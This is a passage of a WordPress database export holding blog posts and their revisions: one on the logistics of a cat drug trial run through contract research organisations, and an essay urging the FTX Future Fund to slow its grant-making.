-->\n\n<!-- wp:paragraph -->\n<p>7. How can we tell if they’re getting sick from this drug?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. What happens if our volunteers get really sick or die? How can we limit the chance of that happening?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Each of these questions has a tricky answer which is part science, part extrapolating from animal or in vitro models, and part guesswork. And there’s always the danger of getting a number wrong and trashing your whole program. Maybe your drug would have been safe and effective at 5 mg, but you decided to dose it at 10 mg because you miscalculated the amount that would pass the blood-brain barrier. That caused a brain bleed in a healthy volunteer, which caused the phase 1 trial to be stopped and your whole multimillion dollar, multiyear effort to be stopped by regulators. Whoops.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In comparison, our life is easy. We know the concentration of drug we want, how to measure it, and what safety risks to watch out for. Also, because we’re dealing with cats, it’s not as big a deal if we make a safety mistake, although we’re still incredibly careful.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, our life is just easy in comparison. In absolute terms, our drug trial is still quite difficult.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, here’s what we actually needed to do to get our drug trial to where it is. We needed to find 18 male, short haired cats and house them for the couple months necessary for the whole trial to run<a href=\"https://trevorklee.substack.com/p/drug-trials-have-a-surprising-amount#footnote-1\">1</a>. We needed to give them food and toys for those few months. We also needed to give them the drug, then take 28 blood samples per cat in total over the two active weeks that the trial is going.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over this entire time, every part of every cat’s life needed to be carefully recorded: eating, pooping, breathing, etc. Anything that was off needed to be carefully noted and immediately brought to a vet, who decided whether or not any aberrations were serious enough to pull the cat from the trial. This exhaustive dosing and monitoring required multiple full-time technicians.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Each of these blood samples then needed to be safely stored, and then transported to a lab as soon as possible while it was still fresh. This lab then needed to run custom-built assays on these blood samples to test the concentration of the drugs in the cat’s bloodstream. These assays need to work on cat blood, which is different from human or dog blood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In ye olden days (basically as recently as the 90s), we would have had to do all of this ourselves. This would have been incredibly annoying and very expensive. Buying, housing, and monitoring 18 cats alone would have been an ordeal, and building out a bioanalytical lab would have required a building, equipment, and a team who knew how to outfit and handle all of it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fortunately, in today’s modern economy, there are clinical research organizations (CROs) who handle this. So, we paid a company in Canada to run the cat trial. They already have cat facilities and a vet on site. We then had to pay a separate bioanalytical lab to work with the first company, so they could collaborate and get the blood samples processed at a reasonable amount of time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was not a “pay and forget it” process, though, by any means. The CRO in Canada, like all (good) CROs, is an expert at running cat trials in general. They do it a lot. However, they are not experts in the drugs we’re working with, the tests we’re hoping to run, or the indication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That means there was a huge amount of back-and-forth as we had to get the logistics specific to our drug functioning. This included planning out the specifics of the trial as a 3-way discussion between us, the CRO, and the bioanalytical lab (ultimately ending up as a 60-page document); shipping the drug through customs<a href=\"https://trevorklee.substack.com/p/drug-trials-have-a-surprising-amount#footnote-2\">2</a>; providing step-by-step instructions on how to prepare the drug in formula for administration to cats; and constant communication on whether small aberrations in the trial protocol were ok.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know, one of my hopes is that by publicly documenting all the work I’ve done to get here I can help other people follow in my footsteps. I get contacted semi-frequently by people who have great ideas for drugs of their own and aren’t sure where to start. I certainly had no idea what was required when I started on this journey 1.5 years ago. Well, this is it. It’s a lot of details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/drug-trials-have-a-surprising-amount#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our trial is run by testing the metabolic inhibitor by itself first, to get baseline safety and pharmacokinetics. This takes a week. Then we pause to get bioanalytics back and give the cats time to reset from the drug and having their blood drawn. Then cyclosporine is combined with the metabolic inhibitor, and we get safety and pharmacokinetics from that. Then we need to get bioanalytical results from that too. All of this takes a couple months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/drug-trials-have-a-surprising-amount#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Canadian customs takes shipments of white powder through the border very seriously. It’s a whole elaborate process. I was half-tempted to just hollow out a watermelon and shove the drug in there, but I decided that would be a bad look.</p>\n<!-- /wp:paragraph -->','Drug trials have a surprising amount of detail','','publish','closed','closed','','drug-trials-have-a-surprising-amount-of-detail','','','2022-10-19 15:38:20','2022-10-19 15:38:20','',0,'https://trevorklee.com/?page_id=313',0,'page','',0),
(314,1,'2022-10-19 15:38:20','2022-10-19 15:38:20','<!-- wp:paragraph -->\n<p>Reality, as they say, has a surprising amount of detail, and drug trials are no exception. Even my company’s drug trial, which is about as simple as drug trials get, has a lot of moving parts behind the scenes. I thought I’d give you all a sense of what goes into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, first of all, some context, which you may already be familiar with if you’ve been following our journey. We’re currently about ¼ of the way done with a trial in cats to compare our combination of cyclosporine + our metabolic inhibitor versus cyclosporine alone. Our plan is to get evidence that our combination allows for less frequent dosing, more consistent blood levels, and fewer side effects/safety issues than normal cyclosporine. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eventually we want to get our drug to be the first approved therapeutic for feline stomatitis, a devastating autoimmune disease that affects about 1% of cats. Then we want to go onto human autoimmune disease. But, first, we’ve got to get this comparison of our combination vs. normal cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a much clearer trial outcome than the average pivotal/phase 1 trial. If we were working with more experimental drugs or trickier indications, we’d have to worry about how to dose, how to measure the dose (including potentially developing new assays), what a successful outcome would look like, and how to tell if it failed. For example, new Alzheimer’s drugs have a host of problems to deal with in phase 1 trials in healthy volunteers:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. How much drug needs to end up in the brain?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. If we’re dosing orally, how much do we need to dose orally to go to the bloodstream to end up in the brain?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. How do we measure the concentration of the drug in the blood?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. How do we measure the concentration of the drug in the brain?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Given that these will be healthy volunteers, what sort of biomarkers will indicate that this would have an effect in diseased patients, if any?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. How much risk is acceptable for healthy volunteers to take when testing this new drug?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. How can we tell if they’re getting sick from this drug?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. What happens if our volunteers get really sick or die? How can we limit the chance of that happening?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Each of these questions has a tricky answer which is part science, part extrapolating from animal or in vitro models, and part guesswork. And there’s always the danger of getting a number wrong and trashing your whole program. Maybe your drug would have been safe and effective at 5 mg, but you decided to dose it at 10 mg because you miscalculated the amount that would pass the blood-brain barrier. That caused a brain bleed in a healthy volunteer, which caused the phase 1 trial to be stopped and your whole multimillion dollar, multiyear effort to be stopped by regulators. Whoops.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In comparison, our life is easy. We know the concentration of drug we want, how to measure it, and what safety risks to watch out for. Also, because we’re dealing with cats, it’s not as big a deal if we make a safety mistake, although we’re still incredibly careful.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, our life is just easy in comparison. In absolute terms, our drug trial is still quite difficult.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, here’s what we actually needed to do to get our drug trial to where it is. We needed to find 18 male, short haired cats and house them for the couple months necessary for the whole trial to run<a href=\"https://trevorklee.substack.com/p/drug-trials-have-a-surprising-amount#footnote-1\">1</a>. We needed to give them food and toys for those few months. We also needed to give them the drug, then take 28 blood samples per cat in total over the two active weeks that the trial is going.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over this entire time, every part of every cat’s life needed to be carefully recorded: eating, pooping, breathing, etc. Anything that was off needed to be carefully noted and immediately brought to a vet, who decided whether or not any aberrations were serious enough to pull the cat from the trial. This exhaustive dosing and monitoring required multiple full-time technicians.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Each of these blood samples then needed to be safely stored, and then transported to a lab as soon as possible while it was still fresh. This lab then needed to run custom-built assays on these blood samples to test the concentration of the drugs in the cat’s bloodstream. These assays need to work on cat blood, which is different from human or dog blood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In ye olden days (basically as recently as the 90s), we would have had to do all of this ourselves. This would have been incredibly annoying and very expensive. Buying, housing, and monitoring 18 cats alone would have been an ordeal, and building out a bioanalytical lab would have required a building, equipment, and a team who knew how to outfit and handle all of it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fortunately, in today’s modern economy, there are clinical research organizations (CROs) who handle this. So, we paid a company in Canada to run the cat trial. They already have cat facilities and a vet on site. We then had to pay a separate bioanalytical lab to work with the first company, so they could collaborate and get the blood samples processed at a reasonable amount of time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was not a “pay and forget it” process, though, by any means. The CRO in Canada, like all (good) CROs, is an expert at running cat trials in general. They do it a lot. However, they are not experts in the drugs we’re working with, the tests we’re hoping to run, or the indication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That means there was a huge amount of back-and-forth as we had to get the logistics specific to our drug functioning. This included planning out the specifics of the trial as a 3-way discussion between us, the CRO, and the bioanalytical lab (ultimately ending up as a 60-page document); shipping the drug through customs<a href=\"https://trevorklee.substack.com/p/drug-trials-have-a-surprising-amount#footnote-2\">2</a>; providing step-by-step instructions on how to prepare the drug in formula for administration to cats; and constant communication on whether small aberrations in the trial protocol were ok.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know, one of my hopes is that by publicly documenting all the work I’ve done to get here I can help other people follow in my footsteps. I get contacted semi-frequently by people who have great ideas for drugs of their own and aren’t sure where to start. I certainly had no idea what was required when I started on this journey 1.5 years ago. Well, this is it. It’s a lot of details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/drug-trials-have-a-surprising-amount#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our trial is run by testing the metabolic inhibitor by itself first, to get baseline safety and pharmacokinetics. This takes a week. Then we pause to get bioanalytics back and give the cats time to reset from the drug and having their blood drawn. Then cyclosporine is combined with the metabolic inhibitor, and we get safety and pharmacokinetics from that. Then we need to get bioanalytical results from that too. All of this takes a couple months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/drug-trials-have-a-surprising-amount#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Canadian customs takes shipments of white powder through the border very seriously. It’s a whole elaborate process. I was half-tempted to just hollow out a watermelon and shove the drug in there, but I decided that would be a bad look.</p>\n<!-- /wp:paragraph -->','Drug trials have a surprising amount of detail','','inherit','closed','closed','','313-revision-v1','','','2022-10-19 15:38:20','2022-10-19 15:38:20','',313,'https://trevorklee.com/?p=314',0,'revision','',0),
(315,1,'2022-10-19 15:39:34','2022-10-19 15:39:34','<!-- wp:paragraph -->\n<p>In AstralCodexTen’s last Open Thread, Scott posted two updates from the Effective Altruist (EA) community at large.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first was an opportunity to win up to $500,000 to change the Future Fund’s opinion about AI risk. The Future Fund is spending millions of dollars per year on the assumption that artificial general intelligence is going to be a serious threat to the human race within the next 50 years, and they want people to convince them to change their opinions one way or another.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second was a prediction market tournament for an EA regranting project through an organization called Clearer Thinking. A prediction market is a stock market for the outcome of an event in the future, in case you’re unfamiliar. In this case, it’s a prediction market to predict what projects the Clearer Thinking team will fund. There are cash prizes for getting the predictions right, as well as for providing helpful information to sway the judges one way or another. The cash prizes were up to $13000, while the regranting was for up to $500,000 for projects that would “significantly improve the future”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interestingly, both of these were funded by the FTX Future Fund, the crypto-funded EA organization. The FTX Future Fund is insanely well-funded thanks to its crypto billionaire founder, Sam Bankman-Fried, and is rapidly deploying huge amounts of capital towards solving what they consider to be existential risks to humanity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is admirable, and I appreciate where FTX’s heart is at. That being said, I’m writing this post to ask them to please slow their roll and drastically reduce their charitable output, at least until they get a better handle on how to spend it wisely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I know saying this makes me sound like some sort of character from an Ayn Rand novel, and that I’m about to advise FTX Future Fund to just build a vault in the Arctic for the rich as the rest of the world starves. I’m not and I don’t believe that (although I do think that would be a cooler project than yet another megayacht, if Jeff Bezos is reading this).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F540875ea-d832-4dfe-88d4-825e356649fa_907x510.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F540875ea-d832-4dfe-88d4-825e356649fa_907x510.jpeg\" alt=\"Fortress of Solitude | Star Wars: Exodus Visual Encyclopedia | Fandom\" title=\"Fortress of Solitude | Star Wars: Exodus Visual Encyclopedia | Fandom\"/></a><figcaption>Jeffy B, call me if this looks interesting.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I’m actually in agreement with the impetus of FTX Future Fund’s focus. I do think there are serious problems that can and should be solved with money, and that catastrophic risks are one of those problems. The fact that they’re putting so much time and effort into this is, again, admirable!<br><br>But, ironically, I don’t think they’re thinking about the longterm effects of the insane amounts of money they’re doling out. Specifically, I don’t just think they risk the amounts of money they’re spending being wasted, I think they’re risking them being actively counterproductive. And I think those two updates are perfect examples of that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, I think the insane amounts of money they’re spending is changing EA to being a social movement from being one where you expect to give money, to being one where you expect to get money. When I introduce people to EA, I always start with Peter Singer’s famous thought experiment that it’s as immoral to ignore people starving in a foreign country as it would be to ignore someone drowning next to you. I don’t expect it to resonate with everyone, but for those who it does resonate with, it resonates with them strongly. Those tend to be good people, in my experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t start with, “EA is a loose knit coalition of insanely wealthy nonprofits in which you can earn huge amounts of money by writing convincing essays about ways in which AI might end humanity.” There are only two sorts of people who this would attract: people who are already incredibly worried about AI, and people who will pretend to believe anything to earn a lot of money. The latter way outnumber the former, but they are very good at pretending to be the former.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This influx of people who are into EA because they really like being around money and what it can buy (and hope to get some themselves) is already happening. I recently wrote&nbsp;<a href=\"https://www.reddit.com/r/slatestarcodex/comments/xprjul/is_it_me_or_are_the_proposed_clearer_thinking/\">a Reddit post about the Clearer Thinking regrants</a>. These were, for the record, supposed to be&nbsp;<a href=\"https://www.clearerthinking.org/post/apply-to-the-clearer-thinking-regrants-program\">“altruistic efforts that could greatly improve the world”</a>, according to the official submission guidelines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to Clearer Thinking, they received 630 applications, and winnowed them down to 37, 28 of which agreed to be reviewed publicly in the predictions market. So, these 28 should presumably be the best of the best, right? Shining examples of altruistic efforts that, if implemented, would be truly incredible achievements for the world at large?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, as I reviewed in the Reddit post, they weren’t. At all. I mean, some of them seemed good (about 8, by my count). And some were just misguided, like&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-sociopolitical-impacts\">a guy who was convinced that nobody had explored the societal impacts of nuclear winter before</a>&nbsp;or&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-opinion-dynamics-with\">a team that wanted to build malicious AI to form countermeasures against it</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But a fair number just felt like grifts, or people who saw a lot of money up for grabs and thought it’d be cool to have some for themselves. They wanted&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-business-skills-coachi\">$40k for their own company to deliver business coaching to EA organizations</a>,&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-federal-ai-regulation\">$150k to personally go harangue regulators about AI</a>,or&nbsp;&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-better-debates\">$50k to promote their debate app</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even worse, a number of them were just looking to set up their own regranting. They wanted to take the money from FTX to pay themselves a salary and then just hire people to do something. This came in a wide variety of forms, from&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-extending-cause-priori\">$500k to hire behavioral scientists to research behavioral science</a>, to&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-the-longtermist-animal\">$100k to hire a researcher to find ways to reduce animal suffering</a>, to&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-curiosity-fellowship\">an unclear amount of money to just give grants to interesting people and then hang out with them</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This last group, the rent-seekers, is who really worries me, even more than the grifters. These aren’t people who are capable of solving a problem themselves or are really interested in it. These are people who see a large sum of money and think that they can appropriate some of it to make themselves wealthy and have some degree of status. If they can convince Clearer Thinking into thinking they’ve identified a problem, they hope that they will personally be able to direct and control the people who can actually solve the problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F92e6c350-f36a-43e1-8052-261af31b9bf1_259x194.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F92e6c350-f36a-43e1-8052-261af31b9bf1_259x194.jpeg\" alt=\"Why Is My Dog A Hoarder? - Animal Talk\" title=\"Why Is My Dog A Hoarder? - Animal Talk\"/></a><figcaption>Rent-seekers, like golden retrievers, very much enjoy having things that other people want.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The fact that the FTX pot of money is already attracting these people is worrying me. The misguided can be educated and the grifters can be ignored, but the rent-seekers will actively try to work their way into an organization in order to gain power. And once they do, they are very hard to extract out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings me to my second big problem. Large spigots of money end up requiring bureaucracy to direct them into the appropriate places. That’s natural, and unavoidable as more money pours into EA. However, things get bad when there’s nowhere for the money to go, and it just accumulates as it’s waiting to be spent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is bad because it makes fighting the Iron Law of Bureaucracy much more difficult. The Iron Law of Bureaucracy teaches that people that form a bureaucracy will necessarily come in one of two forms: people who care about the mission, and people who care about the bureaucracy. People who care about bureaucracy for its own sake have a natural advantage in any bureaucracy, and will slowly take over any organization if left unchecked until they’ve completely replaced the mission-focused people. The only way to check this is by constantly staying vigilant for the bureaucracy to be controlled by the mission-focused.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if there’s no mission to be focused on for some large part of the bureaucracy, because they’re just waiting for the money to be directed, you’re already weighing the organization towards bureaucracy-loving bureaucrats. All money needs bureaucrats to organize it. Pots of money with no mission attached to them will only attract bureaucrats who just like controlling money.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And these people get attracted to accumulated money like flies to rotting meat. It’s difficult for mission-oriented people to understand the attraction, but bureaucrats just love being in control of resources for their own sake. That’s why people will jump on each other to get put on zoning boards, just so they can stop buildings being built.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the same way, these bureaucracy-loving bureaucrats will actively prevent work being done without their say-so. They have to in order to justify their position. Every single cause that a good EA person cares about, from AGI to zoonotic diseases, will now have someone sitting on top of a pile of money demanding that everything goes through them first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The grant appliers from above are perfect examples of that. They don’t dream of fixing animal welfare themselves, or becoming behavioral scientists themselves. They dream of sitting on a pile of money that’s supposed to be used for behavioral science. They can make a bunch of behavioral scientists jump through hoops to get to use some small portion of the money. Then, they can attend EA conferences and demand to have a say in how larger organizations spend their money on behavioral science, because now they’re somehow experts after making people jump through hoops. And then, in their wildest dreams, they can discourage FTX from funding any other behavioral science, because that intrudes on their territory. They will be the sole arbiters of behavioral science, or animal welfare, or nuclear disarmament, or whatever other fiefdom they’ve managed to appropriate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, because this is EA, all of this will be accompanied by thousands of words of verbiage. And that’s the third big problem with FTX’s push. When you start giving out millions of dollars and ask for it to be used ASAP, there will be very few “shovel-ready” projects that can use the money. Concrete ideas are difficult to implement, take time to plan, and need and use money in stages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know what doesn’t take time to plan and can use a lot of money quickly? Hiring a bunch of people to write think pieces. It even scales up with the amount of money. If it takes a year for 100 people to build a bridge, twice as many people probably won’t build it in 6 months. However, if it takes a month for 5 people to produce 50,000 words, twice as many people can produce 50,000 words in roughly half the time, ignoring quality issues. If all you’re looking for is to pay for output, paying a lot of people to write a lot of bullshit is an easy way to do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, I’m not necessarily saying that it’s bad to pay people to write stuff. However, I think it’s really easy to have an illusion of progress because there are a lot of people publishing stuff, when in fact they’re just writing to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This already seems to be happening with AI alignment. The EA forums are filled with people talking to each other about AGI (soon to be a lot more of them with the new AI essay competition). But those aren’t the people who will influence the eventual direction of AGI. Those people presumably work at OpenAI, or Facebook, or Google, or some Chinese university.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And sure, maybe the goal is to change the minds of the people who are going to develop AGI. But a bunch of people talking inside baseball in endless forum threads isn’t the way to do so. That works about as well as the endless threads on Hacker News about “privacy” do to change Google’s mind on their advertising standards. It’s just a bunch of faceless Internet commenters talking to each other while being ignored by the people who make decisions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9e6ac3d4-2cf6-41c4-9c8e-9c5fe2b625e3_612x408.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9e6ac3d4-2cf6-41c4-9c8e-9c5fe2b625e3_612x408.jpeg\" alt=\"5,350 Ignoring Child Stock Photos, Pictures &amp; Royalty-Free Images - iStock\" title=\"5,350 Ignoring Child Stock Photos, Pictures &amp; Royalty-Free Images - iStock\"/></a><figcaption>Pictured: a man designing AGI being bothered by a college freshman who has strong opinions on the Less Wrong forums.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Except, in this case, the faceless Internet commenters are being subsidized by billions, so they write extra long comments that seem extra official. But they’re still not doing anything. The shape of the future is not changed one bit by them clicking post or not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m concerned that this is drawing talent and attention away from important, hard work that requires a large amount of time. FTX is paying more for these essays than the average person makes in 10 years, and they’re couching it in terms of “this is a meaningful thing for someone who cares about EA to do”. Effective altruists are humans, and many EA people in low-paying jobs derive benefit from the esteem that their jobs are held in the community. But if a young EA person learns that they can earn $500k writing essays or $40k negotiating prices for mosquito nets, and that each is considered equally important by the authorities they respect, why would anyone ever choose mosquito nets?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I were FTX, I would change my funding model in a few ways:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. I’d look into the FRO model. In a nutshell, specialized, pre-funded institutions with a predetermined lifespan and a definite mission. Once they reach the end of their predetermined lifespan or the end of their mission, they disband.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. I’d make sure all regranters have a limited pot of money, specific types of projects that they can regrant to that they are qualified to judge, and a mission not to grant money to other regranters. There needs to be no financial incentive to give grants (e.g. a shrinking pot of money if not all the money is given out).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Awards for essays of all sorts need to be drastically reduced. This also includes the blogging awards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the day, I know I’m just some guy, and I do expect to be ignored as the&nbsp;<em>SS FTX Future Fund</em>&nbsp;goes roaring off across the seas and I stay shouting on the shore. However, I write this missive in the blind hope that I can reach some captain before FTX, in its reckless enthusiasm, brings pernicious invasive species to the largely unspoiled EA lands. We will see.</p>\n<!-- /wp:paragraph -->','The FTX Future Fund needs to slow its charitable spending way down','','publish','closed','closed','','the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down','','','2022-10-19 15:39:34','2022-10-19 15:39:34','',0,'https://trevorklee.com/?page_id=315',0,'page','',0),
(316,1,'2022-10-19 15:39:34','2022-10-19 15:39:34','<!-- wp:paragraph -->\n<p>In AstralCodexTen’s last Open Thread, Scott posted two updates from the Effective Altruist (EA) community at large.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first was an opportunity to win up to $500,000 to change the Future Fund’s opinion about AI risk. The Future Fund is spending millions of dollars per year on the assumption that artificial general intelligence is going to be a serious threat to the human race within the next 50 years, and they want people to convince them to change their opinions one way or another.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second was a prediction market tournament for an EA regranting project through an organization called Clearer Thinking. A prediction market is a stock market for the outcome of an event in the future, in case you’re unfamiliar. In this case, it’s a prediction market to predict what projects the Clearer Thinking team will fund. There are cash prizes for getting the predictions right, as well as for providing helpful information to sway the judges one way or another. The cash prizes were up to $13000, while the regranting was for up to $500,000 for projects that would “significantly improve the future”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interestingly, both of these were funded by the FTX Future Fund, the crypto-funded EA organization. The FTX Future Fund is insanely well-funded thanks to its crypto billionaire founder, Sam Bankman-Fried, and is rapidly deploying huge amounts of capital towards solving what they consider to be existential risks to humanity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is admirable, and I appreciate where FTX’s heart is at. That being said, I’m writing this post to ask them to please slow their roll and drastically reduce their charitable output, at least until they get a better handle on how to spend it wisely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I know saying this makes me sound like some sort of character from an Ayn Rand novel, and that I’m about to advise FTX Future Fund to just build a vault in the Arctic for the rich as the rest of the world starves. I’m not and I don’t believe that (although I do think that would be a cooler project than yet another megayacht, if Jeff Bezos is reading this).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a 